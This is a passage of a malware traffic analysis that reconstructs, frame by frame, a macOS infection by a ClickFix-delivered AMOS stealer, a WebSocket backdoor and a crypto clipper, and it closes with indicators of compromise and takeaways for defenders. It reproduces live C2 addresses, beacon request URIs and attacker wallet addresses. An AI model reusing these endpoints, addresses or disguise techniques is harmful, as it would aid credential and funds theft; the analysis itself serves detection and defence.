Encapsulated multipart part
Content-Disposition : form-data; name="p"\r\n\r\n
data
Data : 31
Length : 1
Boundary : \r\n--------------------------m7tKAk2CUgkzViUM0A93PB\r\n
Encapsulated multipart part : (application/octet-stream)
Content-Disposition : form-data; name="file"; filename=".A86Eo_A86ED3CE-61F0-40E0-A4F3-6F85D42B88DA.zip"\r\n
Content-Type : application/octet-stream\r\n\r\n
data
Data […] : 504b03040a000000000063b3425d0000000000000000000000000e00100054656c656772616d20446174612f55580c00ba2fc06aba2fc06af5010000504b03041400080008009cb3425d0000000000000000000000000300100070776455580c002830c06a2830c06af50100000b70282e2
Length : 3591
Last boundary : \r\n--------------------------m7tKAk2CUgkzViUM0A93PB--\r\n
Rendered from a Wireshark PCAP by VisualEther.

Frame 3157, the second upload to /contact. Open MIME Multipart Media Encapsulation to see the six parts: the victim ID u, the build ID b, the one-digit flags l, n, and p, and the zip file. The zip itself is shown only by its first bytes.

Phase 5 — The bulk upload (frames 3250–7668)

Frame 3250 reports stage: local_data: the stealer has finished gathering files. Its last upload is large, so curl sends only the headers first, with Expect: 100-continue and Content-Length: 3072906. The server answers 100 Continue (frame 3259), and the body follows: about 2,250 TCP segments in 2.3 seconds, which Wireshark reassembles into the single request in frame 6295.

sequenceDiagram accTitle: The stealer's three uploads accDescr: The Mac uploads a 3 kB zip and gets 200 OK. After the resolve auth report it uploads a second zip that adds the password. After the local data report it asks to send 3 MB with Expect 100 continue, receives 100 Continue, and uploads the keychain, screenshots, and system lists, then gets 200 OK. participant Mac as Victim Mac participant C2 as AMOS stealer C2 Mac->>C2: [3015] POST contact, 3 kB zip C2-->>Mac: [3036] 200 OK Mac->>C2: [3157] POST contact, zip plus pwd C2-->>Mac: [3166] 200 OK Mac->>C2: [3253] POST contact headers, Expect 100 continue C2-->>Mac: [3259] 100 Continue Mac->>C2: [6295] 3 MB body: keychain, screenshots C2-->>Mac: [7668] 200 OK
The three uploads to the AMOS C2 server. Each carries the victim ID and a zip, and each adds what the stealer has gathered since the previous one.

Here is what the three uploads carry, read from the zips exported from the capture:

FrameRequest sizeZip sizeNew in this upload
30154,069 bytes3,249 bytesinfo, username, shell history, empty folders for the apps searched
31574,411 bytes3,591 bytespwd, the login password
62953,072,906 bytes3,072,183 bytesthe keychain database, five desktop screenshots, the process list, the installed-software list

The keychain files (keychain-2.db, its write-ahead log, and the user.kb keybag) make up about 2.6 MB of the last upload. The process and software lists tell the operators which security tools are running. Brad's notes show that the stealer then deleted its working folder and zip from /tmp, so little remains on disk. The network copy of everything it stole remains in the capture.

Phase 6 — Staying on the Mac (frames 7671–8166)

Less than a tenth of a second after the last upload is acknowledged, the Mac looks up delta-canvas[.]com (frame 7671), another Cloudflare-fronted domain. Frames 7678 and 8166 open two HTTPS connections with curl's fingerprint. Each brings down about half a megabyte on the wire, which fits the two persistent programs Brad found:

Both are installed as LaunchDaemons (com.apple.accountsd.helper.plist and com.apple.metadata.mds.worker.plist), which macOS starts at every boot. The traffic doesn't show which download became which program; the sizes are what tie them together.

Phase 7 — A backdoor checks in (frames 8272–8781)

Frame 8272 looks up cloudflare-dns[.]com, Cloudflare's legitimate DNS-over-HTTPS (DoH) service, and frame 8277 connects to it with curl's fingerprint. Within 0.3 seconds the Mac contacts a new C2 address, 199.91.221[.]4, that it never resolved through ordinary DNS. The backdoor likely looks up its C2 server over encrypted DoH, out of sight of the network's resolver and its logs. The same pattern repeats before the clipper's first contact in phase 8.

sequenceDiagram accTitle: Backdoor registration and WebSocket heartbeat accDescr: The Mac posts to the join endpoint with the victim ID and receives a bot ID and a token. It then opens a WebSocket at the sync path with a Safari user agent and receives 101 Switching Protocols. The server sends a ping and the Mac replies with a pong, repeating every 25 seconds. participant Mac as Victim Mac participant BD as Backdoor C2 Mac->>BD: [8587] POST api join, victim ID BD-->>Mac: [8754] 200 OK, bot ID and token Mac->>BD: [8771] GET ws sync, Upgrade websocket BD-->>Mac: [8778] 101 Switching Protocols loop every 25 seconds, 37 times BD->>Mac: WebSocket Ping Mac->>BD: WebSocket Pong end
The backdoor's registration and its WebSocket channel. The server pings every 25 seconds and the Mac answers, 37 times over 15 minutes.

The registration in frame 8587 is a four-line form body: the stealer's victim ID u from frame 2962, a 10-character identifier FF40665JVF, a version 3.0, and a 16-hex-digit value. Reusing the victim ID links the backdoor to the stealer on the operators' side. The server's reply in frame 8754 assigns a bot ID, nXRcuuI6xw26GDOLeZiW0w, and a token.

Frame 8771 then asks to upgrade a new connection to a WebSocket, a two-way channel the server can push commands down at any time. Every earlier request said curl/8.7.1; this one claims to be Safari 17.2, a version from December 2023, on a Mac that the stealer reported as running macOS 27 (frame 2962). A copied browser User-Agent is a common disguise, and here the capture contradicts it.

📥 [00052] Frame 8771 GET /ws/sync/x3 2026-10-02T22:29:42.249542Z 💻 Victim Mac → 🚪 Backdoor C2
frame : Frame 8771: Packet, 468 bytes on wire (3744 bits), 468 bytes captured (3744 bits)
Encapsulation type : Ethernet (1)
Arrival Time : Oct 2, 2026 15:29:42.249542000 Pacific Daylight Time
UTC Arrival Time : Oct 2, 2026 22:29:42.249542000 UTC
Epoch Arrival Time : 1790980182.249542000
Time shift for this packet : 0.000000000 seconds
Time delta from previous captured frame : 1.216000 milliseconds
Time delta from previous displayed frame : 161.796000 milliseconds
Time since reference or first frame : 4 minutes, 16.936266000 seconds
Frame Number : 8771
Frame Length : 468 bytes (3744 bits)
Capture Length : 468 bytes (3744 bits)
Frame is marked : False
Frame is ignored : False
Protocols in frame : eth:ethertype:ip:tcp:http
Character encoding : ASCII (0)
eth : Ethernet II, Src: 7a:2d:79:38:f2:8c, Dst: 00:01:96:ce:dd:92
Destination : 00:01:96:ce:dd:92
Destination (resolved) : 00:01:96:ce:dd:92
Destination OUI : 00:01:96 (Cisco Systems, Inc)
Destination OUI (resolved) : Cisco Systems, Inc
.... ..0. .... .... .... .... = LG bit : Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit : Individual address (unicast)
Address : 00:01:96:ce:dd:92
Address (resolved) : 00:01:96:ce:dd:92
Address OUI : 00:01:96 (Cisco Systems, Inc)
Address OUI (resolved) : Cisco Systems, Inc
.... ..0. .... .... .... .... = LG bit : Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit : Individual address (unicast)
Source : 7a:2d:79:38:f2:8c
Source (resolved) : 7a:2d:79:38:f2:8c
Source OUI : 7a:2d:79
.... ..1. .... .... .... .... = LG bit : Locally administered address (this is NOT the factory default)
.... ...0 .... .... .... .... = IG bit : Individual address (unicast)
Address : 7a:2d:79:38:f2:8c
Address (resolved) : 7a:2d:79:38:f2:8c
Address OUI : 7a:2d:79
.... ..1. .... .... .... .... = LG bit : Locally administered address (this is NOT the factory default)
.... ...0 .... .... .... .... = IG bit : Individual address (unicast)
Type : IPv4 (0x0800)
Stream index : 0
ip : Internet Protocol Version 4, Src: 10.10.2.178, Dst: 199.91.221.4
0100 .... = Version : 4
.... 0101 = Header Length : 20 bytes (5)
Differentiated Services Field : 0x02 (DSCP: CS0, ECN: ECT(0))
0000 00.. = Differentiated Services Codepoint : Default (0)
.... ..10 = Explicit Congestion Notification : ECN-Capable Transport codepoint '10' (2)
Total Length : 454
Identification : 0x0000 (0)
010. .... = Flags : 0x2, Don't fragment
0... .... = Reserved bit : Not set
.1.. .... = Don't fragment : Set
..0. .... = More fragments : Not set
...0 0000 0000 0000 = Fragment Offset : 0
Time to Live : 64
Protocol : TCP (6)
Header Checksum : 0x8814 [validation disabled]
Header checksum status : Unverified
Source Address : 10.10.2.178
Source or Destination Address : 10.10.2.178
Source Host : 10.10.2.178
Source or Destination Host : 10.10.2.178
Destination Address : 199.91.221.4
Source or Destination Address : 199.91.221.4
Destination Host : 199.91.221.4
Source or Destination Host : 199.91.221.4
Stream index : 20
tcp : Transmission Control Protocol, Src Port: 54028, Dst Port: 80, Seq: 1, Ack: 1, Len: 402
Source Port : 54028
Destination Port : 80
Source or Destination Port : 54028
Source or Destination Port : 80
Stream index : 35
Stream Packet Number : 4
Conversation completeness : Incomplete, ESTABLISHED (7)
..0. .... = RST : Absent
...0 .... = FIN : Absent
.... 0... = Data : Absent
.... .1.. = ACK : Present
.... ..1. = SYN-ACK : Present
.... ...1 = SYN : Present
Completeness Flags : ···ASS
TCP Segment Len : 402
Sequence Number : 1 (relative sequence number)
Sequence Number (raw) : 3902467945
Next Sequence Number : 403 (relative sequence number)
Acknowledgment Number : 1 (relative ack number)
Acknowledgment number (raw) : 1803441481
1000 .... = Header Length : 32 bytes (8)
Flags : 0x018 (PSH, ACK)
000. .... .... = Reserved : Not set
...0 .... .... = Accurate ECN : Not set
.... 0... .... = Congestion Window Reduced : Not set
.... .0.. .... = ECN-Echo : Not set
.... ..0. .... = Urgent : Not set
.... ...1 .... = Acknowledgment : Set
.... .... 1... = Push : Set
.... .... .0.. = Reset : Not set
.... .... ..0. = Syn : Not set
.... .... ...0 = Fin : Not set
TCP Flags : ·······AP···
Window : 2068
Calculated window size : 132352
Window size scaling factor : 64
Checksum : 0x3f54 [unverified]
Checksum Status : Unverified
Urgent Pointer : 0
Options : (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
TCP Option - No-Operation (NOP)
Kind : No-Operation (1)
TCP Option - No-Operation (NOP)
Kind : No-Operation (1)
TCP Option - Timestamps : TSval 3889373148, TSecr 3851335053
Kind : Time Stamp Option (8)
Length : 10
Timestamp value : 3889373148
Timestamp echo reply : 3851335053
Timestamps
Time since first frame in this TCP stream : 135.938000 milliseconds
Time since previous frame in this TCP stream : 1.216000 milliseconds
SEQ/ACK analysis
iRTT : 134.722000 milliseconds
Bytes in flight : 402
Bytes sent since last PSH flag : 402
Client Contiguous Streams : 1
Server Contiguous Streams : 1
TCP payload (402 bytes)
http : Hypertext Transfer Protocol
GET /ws/sync/x3?uid=9d745cbae23ac70dba18338b799896d3&v=3.0&s=49f2a2f25ae0afdc550b4bf8f89c15b4bccedcdab9aef116a928166daf3ac0c0 HTTP/1.1\r\n
Request Method : GET
Request URI : /ws/sync/x3?uid=9d745cbae23ac70dba18338b799896d3&v=3.0&s=49f2a2f25ae0afdc550b4bf8f89c15b4bccedcdab9aef116a928166daf3ac0c0
Request URI Path : /ws/sync/x3
Request URI Query : uid=9d745cbae23ac70dba18338b799896d3&v=3.0&s=49f2a2f25ae0afdc550b4bf8f89c15b4bccedcdab9aef116a928166daf3ac0c0
Request URI Query Parameter : uid=9d745cbae23ac70dba18338b799896d3
Request URI Query Parameter : v=3.0
Request URI Query Parameter : s=49f2a2f25ae0afdc550b4bf8f89c15b4bccedcdab9aef116a928166daf3ac0c0
Request Version : HTTP/1.1
Host : 199.91.221.4\r\n
Host : 199.91.221.4\r\n
Upgrade : websocket\r\n
Upgrade : websocket\r\n
Connection : Upgrade\r\n
Connection : Upgrade\r\n
Sec-WebSocket-Key : YqWeHt8IA0EnFAH7SrEgZw==\r\n
Sec-WebSocket-Key : YqWeHt8IA0EnFAH7SrEgZw==\r\n
Sec-WebSocket-Version : 13\r\n
Sec-WebSocket-Version : 13\r\n
User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15\r\n
User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15\r\n
\r\n
Request : True
Full request URI : http://199.91.221.4/ws/sync/x3?uid=9d745cbae23ac70dba18338b799896d3&v=3.0&s=49f2a2f25ae0afdc550b4bf8f89c15b4bccedcdab9aef116a928166daf3ac0c0
Rendered from a Wireshark PCAP by VisualEther.

Frame 8771, the WebSocket upgrade. The Upgrade and Sec-WebSocket-Key headers ask for the switch, the query string carries uid, v, and s, and the User-Agent claims Safari 17.2. Every other request from this Mac says curl/8.7.1.

The server accepts with 101 Switching Protocols (frame 8778) and sends its first Ping 0.04 ms later. The Mac answers each with a Pong, masked as RFC 6455 requires of every client frame. The pair repeats every 25 seconds, 37 times; the diagram shows the first and the last. A perfectly regular heartbeat to a bare IP address is a beaconing signal even when no command is ever sent.

Phase 8 — A clipboard hijacker loads its address list (frames 8807–8850)

After a second DoH connection (frame 8807), a second implant registers with a third C2 server, 193.233.210[.]226, using the same victim ID and identifier (frame 8836). The server returns a 32-hex-digit feed ID (frame 8838), and the implant fetches that feed (frame 8846).

The reply in frame 8850 is the most revealing message in the capture: a JSON list, version 5, of 19 rules, each pairing a blockchain with an attacker-owned address.

{"rules":[
  {"chain":"ADA_STAKE","address":"stake1uya439lcm6lwa6t6jsgz0d3gncgs73agw0s8ux7dyweq4pcqpcfkg"},
  {"chain":"BTC_BECH32","address":"bc1qpzqp0vcdtrjx3ygk9zqplyu47hv2t6t05uukk2"},
  ...
 ],"version":5}

This is a clipper: malware that watches the clipboard and, when the user copies a wallet address, swaps in the attacker's address of the same format. The victim pastes it into a payment and pays the attacker. A swapped address must look valid for the chain being paid, so the list has one rule per address format: 19 rules for 15 blockchains. Bitcoin gets four, one for each of its formats: legacy (1…), script (3…), SegWit (bc1q…), and Taproot (bc1p…). Litecoin gets two, legacy and SegWit. Ethereum, Solana, Dogecoin, XRP, Tron, Cardano, Avalanche, and six other chains get one each.

Phase 9 — Fifteen minutes later (frames 27874–27886)

Between frames 8850 and 27874, the capture is Brad's ordinary browsing: weather, news, and social sites. The backdoor's heartbeat runs underneath it. The 37th ping, in frame 27874, arrives 900 seconds after the first, exactly 36 intervals of 25 seconds.

Less than a second after that last pong, the Mac closes the WebSocket itself (frame 27878). It sends a plain TCP FIN, with no WebSocket close message. The socket had been open for 900.9 seconds, almost exactly 15 minutes. 35 ms later the Mac opens a new connection to the same server and polls over plain HTTP: GET /api/tasks/nXRcuuI6xw26GDOLeZiW0w (frame 27884), using the bot ID from frame 8754. The server's whole reply is one word, pong (frame 27886).

Together, these frames look like a scheduled cycle: hold the WebSocket for 15 minutes, drop it, check for queued tasks over HTTP, and probably reconnect. The pong could mean "no task", or it could simply answer a keepalive; with one cycle in the capture, the two readings can't be told apart. The capture ends 17 seconds later, before any reconnect, with the backdoor still waiting for orders.

Detecting it on the network

Each stage leaves evidence an analyst or an intrusion detection system can act on, even where the traffic is encrypted:

These indicators come from the capture. Brad's post lists the full set, with file hashes:

IndicatorTypeRoleFrames
uerp[.]comDomainAd redirect2–9
claude-desk-code[.]comDomainFake Claude Code site38–1108
lake-90[.]comDomainScript and stealer download1767–1806
loop-88[.]comDomainInfection tracker1802–2885
152.42.143[.]45IP, port 80AMOS stealer C2 and upload2962–7668
delta-canvas[.]comDomainPersistent program downloads7671–8166
199.91.221[.]4IP, port 80Backdoor C2 and WebSocket8587–27886
193.233.210[.]226IP, port 80Clipper C28836–8850
t13d4907h2_0d8feac7bc37_7395dae3b2f3JA4The malware's TLS client (curl)1772–8807

Takeaways

  1. The victim ran the malware. ClickFix turns "copy and paste this install command" into code execution, bypassing download warnings and Gatekeeper. Anything that tells you to paste a command into Terminal deserves a second look, however familiar the brand.
  2. Encryption hides content, not identity. DNS names, SNI, and JA4 fingerprints traced every HTTPS hop in this infection, and a single fingerprint change separated the browser from the malware.
  3. The theft ran over plain HTTP. The password, keychain, and screenshots crossed the network unencrypted, so anyone on the path, the attacker included, could read them, and so can an analyst with a capture.
  4. The password is the key to everything else. The password taken in phase 4 is what the attackers need to decrypt the keychain taken in phase 5. A password dialog that appears right after you paste a command from a website is the attack itself.
  5. The stealer is only the start. Within seconds of the theft, the Mac had a backdoor taking orders and a clipper waiting to redirect payments. Cleaning up means removing the persistent programs, changing every password the Mac held, and moving funds out of every wallet it held.